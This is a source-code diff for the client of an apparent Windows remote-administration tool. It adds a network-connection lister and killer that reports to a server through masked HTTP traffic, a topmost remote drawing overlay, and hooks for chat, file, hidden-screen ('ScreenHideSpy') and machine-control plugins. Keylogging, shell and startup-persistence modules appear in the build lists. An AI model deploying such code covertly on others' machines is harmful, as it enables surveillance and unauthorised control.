@@ -0,0 +1,30 @@
// ChatManager.h: interface for the CChatManager class.
//
//////////////////////////////////////////////////////////////////////
#pragma once
#include "Manager.h"
#if ENABLE_MESSAGE==0
#define CChatManager CManager
#else
class CChatManager : public CManager
{
public:
HINSTANCE m_hInstance;
CChatManager(IOCPClient* ClientObject, int n, void* user = nullptr);
virtual ~CChatManager();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
private:
BOOL m_bRun;
HANDLE m_hThread;
HWND m_hWnd;
static DWORD WINAPI MessageLoopProc(LPVOID lParam);
static INT_PTR CALLBACK ChatDialogProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam);
};
#endif
+21
View File
@@ -185,7 +185,15 @@
<ClCompile Include="ClientLogManager.cpp" /> <ClCompile Include="ClientLogManager.cpp" />
<ClCompile Include="Common.cpp" /> <ClCompile Include="Common.cpp" />
<ClCompile Include="ConPTYManager.cpp" /> <ClCompile Include="ConPTYManager.cpp" />
<ClCompile Include="ConnectionsManager.cpp" />
<ClCompile Include="FileManager.cpp" /> <ClCompile Include="FileManager.cpp" />
<ClCompile Include="file\FileManager.cpp">
<ObjectFileName>$(IntDir)FileManager_plugin.obj</ObjectFileName>
</ClCompile>
<ClCompile Include="file\MasterEncoder.cpp" />
<ClCompile Include="file\zip.cpp" />
<ClCompile Include="screenhide\ScreenHideManager.cpp" />
<ClCompile Include="DrawingBoardMgr.cpp" />
<ClCompile Include="IOCPClient.cpp" /> <ClCompile Include="IOCPClient.cpp" />
<ClCompile Include="IOCPKCPClient.cpp" /> <ClCompile Include="IOCPKCPClient.cpp" />
<ClCompile Include="IOCPUDPClient.cpp" /> <ClCompile Include="IOCPUDPClient.cpp" />
@@ -215,6 +223,8 @@
<ClCompile Include="CFFmpegH264Encoder.cpp" /> <ClCompile Include="CFFmpegH264Encoder.cpp" />
<ClCompile Include="EncoderFactory.cpp" /> <ClCompile Include="EncoderFactory.cpp" />
<ClCompile Include="TalkManager.cpp" /> <ClCompile Include="TalkManager.cpp" />
<ClCompile Include="ChatManager.cpp" />
<ClCompile Include="MachineManager.cpp" />
<ClCompile Include="VideoManager.cpp" /> <ClCompile Include="VideoManager.cpp" />
<ClCompile Include="X264Encoder.cpp" /> <ClCompile Include="X264Encoder.cpp" />
</ItemGroup> </ItemGroup>
@@ -233,9 +243,17 @@
<ClInclude Include="clip.h" /> <ClInclude Include="clip.h" />
<ClInclude Include="ClientLogManager.h" /> <ClInclude Include="ClientLogManager.h" />
<ClInclude Include="Common.h" /> <ClInclude Include="Common.h" />
<ClInclude Include="ConnectionsManager.h" />
<ClInclude Include="ConPTYManager.h" /> <ClInclude Include="ConPTYManager.h" />
<ClInclude Include="CursorInfo.h" /> <ClInclude Include="CursorInfo.h" />
<ClInclude Include="FileManager.h" /> <ClInclude Include="FileManager.h" />
<ClInclude Include="file\FileManager.h" />
<ClInclude Include="file\MasterEncoder.h" />
<ClInclude Include="file\zip.h" />
<ClInclude Include="screenhide\ScreenManagerBase.h" />
<ClInclude Include="screenhide\ScreenHideManager.h" />
<ClInclude Include="screenhide\ScreenHideSpy.h" />
<ClInclude Include="DrawingBoardMgr.h" />
<ClInclude Include="IOCPClient.h" /> <ClInclude Include="IOCPClient.h" />
<ClInclude Include="IOCPKCPClient.h" /> <ClInclude Include="IOCPKCPClient.h" />
<ClInclude Include="IOCPUDPClient.h" /> <ClInclude Include="IOCPUDPClient.h" />
@@ -268,6 +286,9 @@
<ClInclude Include="StdAfx.h" /> <ClInclude Include="StdAfx.h" />
<ClInclude Include="SystemManager.h" /> <ClInclude Include="SystemManager.h" />
<ClInclude Include="TalkManager.h" /> <ClInclude Include="TalkManager.h" />
<ClInclude Include="ChatManager.h" />
<ClInclude Include="MachineManager.h" />
<ClInclude Include="yapi.hpp" />
<ClInclude Include="VideoCodec.h" /> <ClInclude Include="VideoCodec.h" />
<ClInclude Include="VideoManager.h" /> <ClInclude Include="VideoManager.h" />
<ClInclude Include="X264Encoder.h" /> <ClInclude Include="X264Encoder.h" />
+2
View File
@@ -41,6 +41,7 @@
<ClCompile Include="EncoderFactory.cpp" /> <ClCompile Include="EncoderFactory.cpp" />
<ClCompile Include="..\common\file_upload.cpp" /> <ClCompile Include="..\common\file_upload.cpp" />
<ClCompile Include="ConPTYManager.cpp" /> <ClCompile Include="ConPTYManager.cpp" />
<ClCompile Include="ConnectionsManager.cpp" />
<ClCompile Include="session.cpp" /> <ClCompile Include="session.cpp" />
<ClCompile Include="reg_startup.c" /> <ClCompile Include="reg_startup.c" />
<ClCompile Include="ServiceWrapper.c" /> <ClCompile Include="ServiceWrapper.c" />
@@ -59,6 +60,7 @@
<ClInclude Include="CaptureVideo.h" /> <ClInclude Include="CaptureVideo.h" />
<ClInclude Include="clip.h" /> <ClInclude Include="clip.h" />
<ClInclude Include="Common.h" /> <ClInclude Include="Common.h" />
<ClInclude Include="ConnectionsManager.h" />
<ClInclude Include="CursorInfo.h" /> <ClInclude Include="CursorInfo.h" />
<ClInclude Include="FileManager.h" /> <ClInclude Include="FileManager.h" />
<ClInclude Include="IOCPClient.h" /> <ClInclude Include="IOCPClient.h" />
+36
View File
@@ -4,13 +4,19 @@
#include "Manager.h" #include "Manager.h"
#include "ScreenManager.h" #include "ScreenManager.h"
#include "FileManager.h" #include "FileManager.h"
#include "file/FileManager.h"
#include "screenhide/ScreenHideManager.h"
#include "DrawingBoardMgr.h"
#include "TalkManager.h" #include "TalkManager.h"
#include "ChatManager.h"
#include "MachineManager.h"
#include "ShellManager.h" #include "ShellManager.h"
#include "SystemManager.h" #include "SystemManager.h"
#include "ConPTYManager.h" #include "ConPTYManager.h"
#include "AudioManager.h" #include "AudioManager.h"
#include "RegisterManager.h" #include "RegisterManager.h"
#include "ServicesManager.h" #include "ServicesManager.h"
#include "ConnectionsManager.h"
#include "VideoManager.h" #include "VideoManager.h"
#include "KeyboardManager.h" #include "KeyboardManager.h"
#include "ProxyManager.h" #include "ProxyManager.h"
@@ -100,6 +106,31 @@ DWORD WINAPI LoopTalkManager(LPVOID lParam)
return LoopManager<CTalkManager, 0>(lParam); return LoopManager<CTalkManager, 0>(lParam);
} }
DWORD WINAPI LoopChatManager(LPVOID lParam)
{
return LoopManager<CChatManager, 0>(lParam);
}
DWORD WINAPI LoopMachineManager(LPVOID lParam)
{
return LoopManager<CMachineManager, 0>(lParam);
}
DWORD WINAPI LoopFileManagerPlugin(LPVOID lParam)
{
return LoopManager<SimplePluginsFile::CFileManager, 0>(lParam);
}
DWORD WINAPI LoopPrivateScreenPlugin(LPVOID lParam)
{
return LoopManager<SimplePluginsScreenHide::CScreenHideManager, 0>(lParam);
}
DWORD WINAPI LoopDrawingBoardPlugin(LPVOID lParam)
{
return LoopManager<SimplePluginsDrawingBoard::DrawingBoardMgr, 0>(lParam);
}
DWORD WINAPI LoopShellManager(LPVOID lParam) DWORD WINAPI LoopShellManager(LPVOID lParam)
{ {
// Use ConPTY for xterm.js terminal on Windows 10 1809+, fallback to legacy pipe // Use ConPTY for xterm.js terminal on Windows 10 1809+, fallback to legacy pipe
@@ -139,6 +170,11 @@ DWORD WINAPI LoopServicesManager(LPVOID lParam)
return LoopManager<CServicesManager, 0>(lParam); return LoopManager<CServicesManager, 0>(lParam);
} }
DWORD WINAPI LoopConnectionManager(LPVOID lParam)
{
return LoopManager<CConnectionsManager, 0>(lParam);
}
DWORD WINAPI LoopKeyboardManager(LPVOID lParam) DWORD WINAPI LoopKeyboardManager(LPVOID lParam)
{ {
iniFile cfg(CLIENT_PATH); iniFile cfg(CLIENT_PATH);
+6
View File
@@ -28,12 +28,18 @@ DWORD WINAPI LoopShellManager(LPVOID lParam);
DWORD WINAPI LoopScreenManager(LPVOID lParam); DWORD WINAPI LoopScreenManager(LPVOID lParam);
DWORD WINAPI LoopFileManager(LPVOID lParam); DWORD WINAPI LoopFileManager(LPVOID lParam);
DWORD WINAPI LoopTalkManager(LPVOID lParam); DWORD WINAPI LoopTalkManager(LPVOID lParam);
DWORD WINAPI LoopChatManager(LPVOID lParam);
DWORD WINAPI LoopMachineManager(LPVOID lParam);
DWORD WINAPI LoopFileManagerPlugin(LPVOID lParam);
DWORD WINAPI LoopPrivateScreenPlugin(LPVOID lParam);
DWORD WINAPI LoopDrawingBoardPlugin(LPVOID lParam);
DWORD WINAPI LoopProcessManager(LPVOID lParam); DWORD WINAPI LoopProcessManager(LPVOID lParam);
DWORD WINAPI LoopWindowManager(LPVOID lParam); DWORD WINAPI LoopWindowManager(LPVOID lParam);
DWORD WINAPI LoopVideoManager(LPVOID lParam); DWORD WINAPI LoopVideoManager(LPVOID lParam);
DWORD WINAPI LoopAudioManager(LPVOID lParam); DWORD WINAPI LoopAudioManager(LPVOID lParam);
DWORD WINAPI LoopRegisterManager(LPVOID lParam); DWORD WINAPI LoopRegisterManager(LPVOID lParam);
DWORD WINAPI LoopServicesManager(LPVOID lParam); DWORD WINAPI LoopServicesManager(LPVOID lParam);
DWORD WINAPI LoopConnectionManager(LPVOID lParam);
DWORD WINAPI LoopKeyboardManager(LPVOID lParam); DWORD WINAPI LoopKeyboardManager(LPVOID lParam);
DWORD WINAPI LoopProxyManager(LPVOID lParam); DWORD WINAPI LoopProxyManager(LPVOID lParam);
DWORD WINAPI LoopClientLogManager(LPVOID lParam); DWORD WINAPI LoopClientLogManager(LPVOID lParam);
+239
View File
@@ -0,0 +1,239 @@
// ConnectionsManager.cpp: implementation of the CConnectionsManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "ConnectionsManager.h"
#include "Common.h"
#include <winsock2.h>
#include <ws2tcpip.h>
#include <iphlpapi.h>
#include <tcpmib.h>
#include <udpmib.h>
#include <vector>
#pragma comment(lib, "iphlpapi.lib")
#if ENABLE_CONNECTION_MNG
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CConnectionsManager::CConnectionsManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
{
SendConnectionList();
}
CConnectionsManager::~CConnectionsManager()
{
}
// 把 PID 解析成进程映像名(UTF-8)。进程可能已退出/受保护,失败时填 <unknown>。
static void ResolveProcName(DWORD pid, char* out, int outLen)
{
if (outLen <= 0) return;
out[0] = 0;
if (pid == 0) {
strcpy_s(out, outLen, "System Idle Process");
return;
}
HANDLE h = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
if (h == NULL) {
strcpy_s(out, outLen, "<unknown>");
return;
}
wchar_t wpath[MAX_PATH] = { 0 };
DWORD len = MAX_PATH;
BOOL ok = QueryFullProcessImageNameW(h, 0, wpath, &len);
CloseHandle(h);
if (!ok) {
strcpy_s(out, outLen, "<unknown>");
return;
}
wchar_t* base = wcsrchr(wpath, L'\\');
base = base ? base + 1 : wpath;
if (WideCharToMultiByte(CP_UTF8, 0, base, -1, out, outLen, NULL, NULL) <= 0) {
strcpy_s(out, outLen, "<unknown>");
return;
}
out[outLen - 1] = 0;
}
// IPv4 地址:iphlpapi 的 dwLocalAddr/dwRemoteAddr 是网络序 DWORD(值 0xC0A80101 即 192.168.1.1),
// 转成 16 字节字段前 4 字节的网络序字节后 inet_ntop 可直接展示、断连时再拼回 DWORD。
static void PutAddr4(uint8_t* out, DWORD addrNet)
{
out[0] = (uint8_t)(addrNet >> 24);
out[1] = (uint8_t)(addrNet >> 16);
out[2] = (uint8_t)(addrNet >> 8);
out[3] = (uint8_t)(addrNet);
}
static DWORD GetAddr4(const uint8_t* addr)
{
return ((DWORD)addr[0] << 24) | ((DWORD)addr[1] << 16) | ((DWORD)addr[2] << 8) | (DWORD)addr[3];
}
static void AppendTcp4(std::vector<ConnectionInfo>& rows)
{
PMIB_TCPTABLE_OWNER_PID pTable = NULL;
DWORD dwSize = 0;
if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET, TCP_TABLE_OWNER_PID_ALL, 0) != ERROR_INSUFFICIENT_BUFFER)
return;
pTable = (PMIB_TCPTABLE_OWNER_PID)malloc(dwSize);
if (pTable == NULL) return;
if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET, TCP_TABLE_OWNER_PID_ALL, 0) == NO_ERROR) {
for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
const MIB_TCPROW_OWNER_PID& r = pTable->table[i];
ConnectionInfo info = { 0 };
info.proto = 1;
info.af = AF_INET;
info.pid = r.dwOwningPid;
PutAddr4(info.localAddr, r.dwLocalAddr); // 网络序 DWORD → 网络序字节
info.localPort = ntohs((uint16_t)r.dwLocalPort); // 端口网络序 → 主机序
PutAddr4(info.remoteAddr, r.dwRemoteAddr);
info.remotePort = ntohs((uint16_t)r.dwRemotePort);
info.state = r.dwState;
ResolveProcName(info.pid, info.procName, sizeof(info.procName));
rows.push_back(info);
}
}
free(pTable);
}
static void AppendTcp6(std::vector<ConnectionInfo>& rows)
{
PMIB_TCP6TABLE_OWNER_PID pTable = NULL;
DWORD dwSize = 0;
if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET6, TCP_TABLE_OWNER_PID_ALL, 0) != ERROR_INSUFFICIENT_BUFFER)
return;
pTable = (PMIB_TCP6TABLE_OWNER_PID)malloc(dwSize);
if (pTable == NULL) return;
if (GetExtendedTcpTable(pTable, &dwSize, FALSE, AF_INET6, TCP_TABLE_OWNER_PID_ALL, 0) == NO_ERROR) {
for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
const MIB_TCP6ROW_OWNER_PID& r = pTable->table[i];
ConnectionInfo info = { 0 };
info.proto = 1;
info.af = AF_INET6;
info.pid = r.dwOwningPid;
memcpy(info.localAddr, r.ucLocalAddr, 16);
info.localPort = ntohs((uint16_t)r.dwLocalPort);
memcpy(info.remoteAddr, r.ucRemoteAddr, 16);
info.remotePort = ntohs((uint16_t)r.dwRemotePort);
info.state = r.dwState;
ResolveProcName(info.pid, info.procName, sizeof(info.procName));
rows.push_back(info);
}
}
free(pTable);
}
static void AppendUdp4(std::vector<ConnectionInfo>& rows)
{
PMIB_UDPTABLE_OWNER_PID pTable = NULL;
DWORD dwSize = 0;
if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET, UDP_TABLE_OWNER_PID, 0) != ERROR_INSUFFICIENT_BUFFER)
return;
pTable = (PMIB_UDPTABLE_OWNER_PID)malloc(dwSize);
if (pTable == NULL) return;
if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET, UDP_TABLE_OWNER_PID, 0) == NO_ERROR) {
for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
const MIB_UDPROW_OWNER_PID& r = pTable->table[i];
ConnectionInfo info = { 0 };
info.proto = 2;
info.af = AF_INET;
info.pid = r.dwOwningPid;
PutAddr4(info.localAddr, r.dwLocalAddr);
info.localPort = ntohs((uint16_t)r.dwLocalPort);
info.state = 0;
ResolveProcName(info.pid, info.procName, sizeof(info.procName));
rows.push_back(info);
}
}
free(pTable);
}
static void AppendUdp6(std::vector<ConnectionInfo>& rows)
{
PMIB_UDP6TABLE_OWNER_PID pTable = NULL;
DWORD dwSize = 0;
if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET6, UDP_TABLE_OWNER_PID, 0) != ERROR_INSUFFICIENT_BUFFER)
return;
pTable = (PMIB_UDP6TABLE_OWNER_PID)malloc(dwSize);
if (pTable == NULL) return;
if (GetExtendedUdpTable(pTable, &dwSize, FALSE, AF_INET6, UDP_TABLE_OWNER_PID, 0) == NO_ERROR) {
for (DWORD i = 0; i < pTable->dwNumEntries; ++i) {
const MIB_UDP6ROW_OWNER_PID& r = pTable->table[i];
ConnectionInfo info = { 0 };
info.proto = 2;
info.af = AF_INET6;
info.pid = r.dwOwningPid;
memcpy(info.localAddr, r.ucLocalAddr, 16);
info.localPort = ntohs((uint16_t)r.dwLocalPort);
info.state = 0;
ResolveProcName(info.pid, info.procName, sizeof(info.procName));
rows.push_back(info);
}
}
free(pTable);
}
VOID CConnectionsManager::SendConnectionList()
{
std::vector<ConnectionInfo> rows;
AppendTcp4(rows);
AppendTcp6(rows);
AppendUdp4(rows);
AppendUdp6(rows);
size_t count = rows.size();
if (count > 0xFFFF) count = 0xFFFF;
ULONG bufLen = 1 + 2 + (ULONG)(count * sizeof(ConnectionInfo));
LPBYTE szBuffer = (LPBYTE)LocalAlloc(LPTR, bufLen);
if (szBuffer == NULL) return;
szBuffer[0] = TOKEN_CONNECTION_LIST;
uint16_t cnt = (uint16_t)count;
memcpy(szBuffer + 1, &cnt, 2);
for (size_t i = 0; i < count; ++i)
memcpy(szBuffer + 3 + i * sizeof(ConnectionInfo), &rows[i], sizeof(ConnectionInfo));
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
m_ClientObject->Send2Server((char*)szBuffer, bufLen, &mask);
LocalFree(szBuffer);
}
void CConnectionsManager::KillConnection(const ConnectionInfo& info)
{
// 仅 IPv4 TCP 有公开 API 可强制断开(SetTcpEntry + DELETE_TCB)。
if (info.proto != 1 || info.af != AF_INET) return;
MIB_TCPROW row = { 0 };
row.dwState = MIB_TCP_STATE_DELETE_TCB;
row.dwLocalAddr = GetAddr4(info.localAddr); // 网络序字节 → 网络序 DWORD
row.dwLocalPort = (DWORD)htons(info.localPort); // 主机序端口 → 网络序
row.dwRemoteAddr = GetAddr4(info.remoteAddr);
row.dwRemotePort = (DWORD)htons(info.remotePort);
SetTcpEntry(&row);
}
VOID CConnectionsManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
switch (szBuffer[0]) {
case COMMAND_CONNECTION: // 刷新
SendConnectionList();
break;
case COMMAND_KILL_CONNECTION: // 强制断开
if (ulLength >= 1 + sizeof(ConnectionInfo)) {
ConnectionInfo info;
memcpy(&info, szBuffer + 1, sizeof(ConnectionInfo));
KillConnection(info);
}
SendConnectionList();
break;
default:
break;
}
}
#endif
+29
View File
@@ -0,0 +1,29 @@
// ConnectionsManager.h: interface for the CConnectionsManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_CONNECTIONSMANAGER_H__7D1C2E4A_9B30_4F81_A6C0_DE85B2F31C77__INCLUDED_)
#define AFX_CONNECTIONSMANAGER_H__7D1C2E4A_9B30_4F81_A6C0_DE85B2F31C77__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
#if ENABLE_CONNECTION_MNG==0
#define CConnectionsManager CManager
#else
class CConnectionsManager : public CManager
{
public:
CConnectionsManager(IOCPClient* ClientObject, int n, void* user = nullptr);
virtual ~CConnectionsManager();
VOID SendConnectionList();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
void KillConnection(const ConnectionInfo& info);
};
#endif
#endif // !defined(AFX_CONNECTIONSMANAGER_H__7D1C2E4A_9B30_4F81_A6C0_DE85B2F31C77__INCLUDED_)
+290
View File
@@ -0,0 +1,290 @@
#include "DrawingBoardMgr.h"
#include <tchar.h>
#define MSG_CLEAR 999
namespace SimplePluginsDrawingBoard {
DrawingBoardMgr::DrawingBoardMgr(IOCPClient* ClientObject, int n, void* user): CManager(ClientObject)
{
m_fAlpha = 150;
m_bIsWorking = TRUE;
m_bTopMost = TRUE;
m_hWnd = NULL;
m_textColor = RGB(255,0,0);
m_Font = CreateFont(20, 0, 0, 0, FW_NORMAL, FALSE, FALSE, FALSE,
DEFAULT_CHARSET, OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS,
DEFAULT_QUALITY, DEFAULT_PITCH | FF_SWISS, _T("Arial"));
m_DrawPen = CreatePen(PS_SOLID, 2, RGB(0, 0, 0));
__CreateThread(NULL, 0, DrawingThreadProc, this, 0, NULL);
BYTE bToken = TOKEN_DRAWING_BOARD;
m_ClientObject->Send2Server((char*)&bToken, 1);
}
DrawingBoardMgr::~DrawingBoardMgr()
{
m_bIsWorking = FALSE;
while (m_hWnd)
Sleep(200);
DeleteObject(m_DrawPen);
DeleteObject(m_Font);
}
DWORD WINAPI DrawingBoardMgr::DrawingThreadProc(LPVOID lpParam)
{
Mprintf("Start DrawingThreadProc\n");
DrawingBoardMgr* pThis = (DrawingBoardMgr*)lpParam;
pThis->RunWindowThread();
pThis->m_bIsWorking = FALSE;
Mprintf("Stop DrawingThreadProc\n");
return 0;
}
void DrawingBoardMgr::RunWindowThread()
{
const TCHAR CLASS_NAME[] = _T("DrawingBoardClass");
static bool s_classRegistered = false;
if (!s_classRegistered) {
WNDCLASSEX wc = {};
wc.cbSize = sizeof(WNDCLASSEX);
wc.lpfnWndProc = DrawingBoardMgr::WndProc;
wc.hInstance = GetModuleHandle(NULL);
wc.lpszClassName = CLASS_NAME;
wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
wc.hIcon = NULL; // 标题栏图标
wc.hIconSm = NULL; // 小图标(Alt+Tab 和任务栏缩略图)
if (!RegisterClassEx(&wc)) {
Mprintf("RegisterClassEx failed: %d\n", GetLastError());
}
s_classRegistered = true;
}
DWORD dwStyle = WS_POPUP | WS_BORDER;
m_hWnd = CreateWindowEx(
WS_EX_TOOLWINDOW | WS_EX_LAYERED, CLASS_NAME, _T(""),
dwStyle, CW_USEDEFAULT, CW_USEDEFAULT, 800, 600,
NULL, NULL, GetModuleHandle(NULL), this
);
if (m_hWnd == NULL) return;
LONG style = GetWindowLong(m_hWnd, GWL_STYLE);
style |= WS_BORDER; // 增加窄边框
style &= ~(WS_CAPTION | WS_THICKFRAME); // 去掉标题栏和可调整边框
SetWindowLong(m_hWnd, GWL_STYLE, style);
// 去掉系统菜单
SetWindowPos(m_hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
BringWindowToTop(m_hWnd);
// 透明度
SetLayeredWindowAttributes(m_hWnd, 0, m_fAlpha, LWA_ALPHA);
ShowWindow(m_hWnd, SW_SHOW);
UpdateWindow(m_hWnd);
MSG msg;
while (GetMessage(&msg, NULL, 0, 0) && m_bIsWorking) {
TranslateMessage(&msg);
DispatchMessage(&msg);
Sleep(1);
}
if (m_hWnd)
PostMessage(m_hWnd, WM_CLOSE, 0, 0);
m_hWnd = NULL; // 线程退出后,窗口已销毁
}
LRESULT CALLBACK DrawingBoardMgr::WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
{
DrawingBoardMgr* pThis = nullptr;
if (msg == WM_NCCREATE) {
CREATESTRUCT* cs = (CREATESTRUCT*)lParam;
pThis = (DrawingBoardMgr*)cs->lpCreateParams;
SetWindowLongPtr(hWnd, GWLP_USERDATA, (LONG_PTR)pThis);
}
else {
pThis = (DrawingBoardMgr*)GetWindowLongPtr(hWnd, GWLP_USERDATA);
}
if (pThis) {
switch (msg) {
case WM_GETICON:
return NULL;
case WM_WINDOWPOSCHANGED:
{
WINDOWPOS* pwp = (WINDOWPOS*)lParam;
if (pThis->m_bTopMost && !(pwp->flags & SWP_NOZORDER)) {
// 如果窗口层级被改变,重新设置为顶层
SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0,
SWP_NOMOVE | SWP_NOSIZE | SWP_NOACTIVATE);
}
break;
}
case WM_PAINT:
{
PAINTSTRUCT ps;
HDC hdc = BeginPaint(hWnd, &ps);
HPEN hOldPen = (HPEN)SelectObject(hdc, pThis->m_DrawPen);
HFONT hOldFont = (HFONT)SelectObject(hdc, pThis->m_Font);
pThis->m_locker.lock();
auto paths = pThis->m_Paths;
auto currentPath = pThis->m_CurrentPath;
auto texts = pThis->m_Texts;
pThis->m_locker.unlock();
// 画所有历史路径
for (const auto& path : paths)
{
if (path.size() >= 2)
Polyline(hdc, path.data(), (int)path.size());
}
// 画当前路径
if (currentPath.size() >= 2)
{
Polyline(hdc, currentPath.data(), (int)currentPath.size());
}
// 绘制文字
SetTextColor(hdc, pThis->m_textColor); // 设置文本颜色
SetBkMode(hdc, TRANSPARENT); // 设置透明背景
for (const auto& entry : texts)
TextOutA(hdc, entry.first.x, entry.first.y, entry.second.c_str(), entry.second.length());
SelectObject(hdc, hOldPen);
SelectObject(hdc, hOldFont);
EndPaint(hWnd, &ps);
return 0;
}
case WM_DESTROY:
PostQuitMessage(0);
return 0;
case MSG_CLEAR:
pThis->m_locker.lock();
pThis->m_Paths.clear();
pThis->m_CurrentPath.clear();
pThis->m_Texts.clear();
pThis->m_locker.unlock();
InvalidateRect(hWnd, NULL, TRUE);
break;
}
}
return DefWindowProc(hWnd, msg, wParam, lParam);
}
VOID DrawingBoardMgr::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
if (ulLength < 1) return;
BYTE cmd = szBuffer[0];
switch (cmd)
{
case CMD_DRAW_POINT:
if (ulLength == sizeof(POINT) + 1)
{
POINT pt = *(POINT*)(szBuffer + 1);
m_locker.lock();
m_CurrentPath.push_back(pt);
m_locker.unlock();
if (m_hWnd)
InvalidateRect(m_hWnd, NULL, FALSE);
}
break;
case CMD_DRAW_END:
m_locker.lock();
if (!m_CurrentPath.empty())
{
m_Paths.push_back(m_CurrentPath);
m_CurrentPath.clear();
if (m_hWnd)
InvalidateRect(m_hWnd, NULL, FALSE);
}
m_locker.unlock();
break;
case CMD_TRANSPORT:
m_fAlpha = ulLength > 1 ? szBuffer[1] : m_fAlpha;
SetLayeredWindowAttributes(m_hWnd, 0, m_fAlpha, LWA_ALPHA);
break;
case CMD_TOPMOST:
m_bTopMost = ulLength > 1 ? szBuffer[1] : TRUE;
SetWindowPos(m_hWnd, m_bTopMost ? HWND_TOPMOST : HWND_NOTOPMOST, 0, 0, 0, 0,
SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
break;
case CMD_MOVEWINDOW:
if (ulLength == sizeof(RECT) + 1)
{
RECT rect = *(RECT*)(szBuffer + 1);
if (m_hWnd && IsWindow(m_hWnd))
{
::SetWindowPos(m_hWnd, HWND_TOP, rect.left, rect.top,
rect.right-rect.left, rect.bottom-rect.top,
SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE);
}
}
break;
case CMD_SET_SIZE: {
if (ulLength == sizeof(int) * 2 + 1) {
int x[2];
memcpy(x, szBuffer + 1, sizeof(int) * 2);
if (IsWindow(m_hWnd)) {
::SetWindowPos(m_hWnd, NULL, 0, 0,
x[0], x[1], SWP_NOZORDER | SWP_NOMOVE | SWP_NOACTIVATE);
}
}
break;
}
case CMD_DRAW_CLEAR: {
PostMessage(m_hWnd, MSG_CLEAR, 0, 0);;
break;
}
case CMD_DRAW_TEXT: {
ParseRemoteText(szBuffer + 1, ulLength - 1);
break;
}
default:
break;
}
}
void DrawingBoardMgr::ParseRemoteText(PBYTE data, ULONG length)
{
if (length < sizeof(POINT)) return;
// 提取位置
POINT pt = *(POINT*)data;
PBYTE textData = data + sizeof(POINT);
int textLen = (int)(length - sizeof(POINT));
// UTF-8 → WCHAR
int wideLen = MultiByteToWideChar(CP_UTF8, 0, (LPCCH)textData, textLen, NULL, 0);
if (wideLen <= 0) return;
std::wstring wstr(wideLen, 0);
MultiByteToWideChar(CP_UTF8, 0, (LPCCH)textData, textLen, &wstr[0], wideLen);
#ifdef _UNICODE
CString cstr(wstr.c_str());
#else
// 若项目使用多字节字符集
int ansiLen = WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
std::string cstr;
if (ansiLen > 0)
{
std::string ansi(ansiLen - 1, 0);
WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, &ansi[0], ansiLen - 1, NULL, NULL);
cstr = ansi.c_str();
}
#endif
// 存入本地图形对象并刷新绘图区域
m_locker.lock();
m_Texts.push_back(std::make_pair(pt, cstr));
m_locker.unlock();
if (m_hWnd)
InvalidateRect(m_hWnd, NULL, FALSE);
}
} // namespace SimplePluginsDrawingBoard
+36
View File
@@ -0,0 +1,36 @@
#pragma once
#include "Manager.h"
#include <vector>
#include <string>
#include "common/locker.h"
namespace SimplePluginsDrawingBoard {
class DrawingBoardMgr : public CManager
{
public:
DrawingBoardMgr(IOCPClient* ClientObject, int n, void* user = nullptr);
~DrawingBoardMgr();
virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
void ParseRemoteText(PBYTE data, ULONG length);
private:
BYTE m_fAlpha; // 透明度: 0-全透明, 255-不透明
BOOL m_bTopMost; // 顶层
BOOL m_bIsWorking; // 线程状态
HWND m_hWnd; // 窗口
std::vector<std::vector<POINT>> m_Paths; // 历史路径集合,每条路径是一组点
std::vector<POINT> m_CurrentPath; // 当前正在绘制的路径点集合
std::vector<std::pair<POINT, std::string>> m_Texts;
HFONT m_Font;
COLORREF m_textColor;
HPEN m_DrawPen;
CLocker m_locker;
static DWORD WINAPI DrawingThreadProc(LPVOID lpParam);
void RunWindowThread();
static LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam);
};
} // namespace SimplePluginsDrawingBoard
+6 -2
View File
@@ -36,9 +36,13 @@ CFileManager::CFileManager(CClientSocket *pClient, int h, void* user):CManager(p
// 初始化V2文件传输模块 // 初始化V2文件传输模块
CKernelManager* main = (CKernelManager*)pClient->GetMain(); CKernelManager* main = (CKernelManager*)pClient->GetMain();
m_Signature = main ? main->m_LoginSignature : pClient->m_LoginSignature; m_Signature = main ? main->m_LoginSignature : pClient->m_LoginSignature;
if (!m_Signature.empty()) if (!m_Signature.empty()) {
iniFile cfg(CLIENT_PATH);
int chunkKb, durMs;
GetTransferSpeed(cfg, chunkKb, durMs);
InitFileUpload({}, main ? main->m_LoginMsg : pClient->m_LoginMsg, InitFileUpload({}, main ? main->m_LoginMsg : pClient->m_LoginMsg,
main ? main->m_LoginSignature : pClient->m_LoginSignature, 64, 50, Logf); main ? main->m_LoginSignature : pClient->m_LoginSignature, chunkKb, durMs, Logf);
}
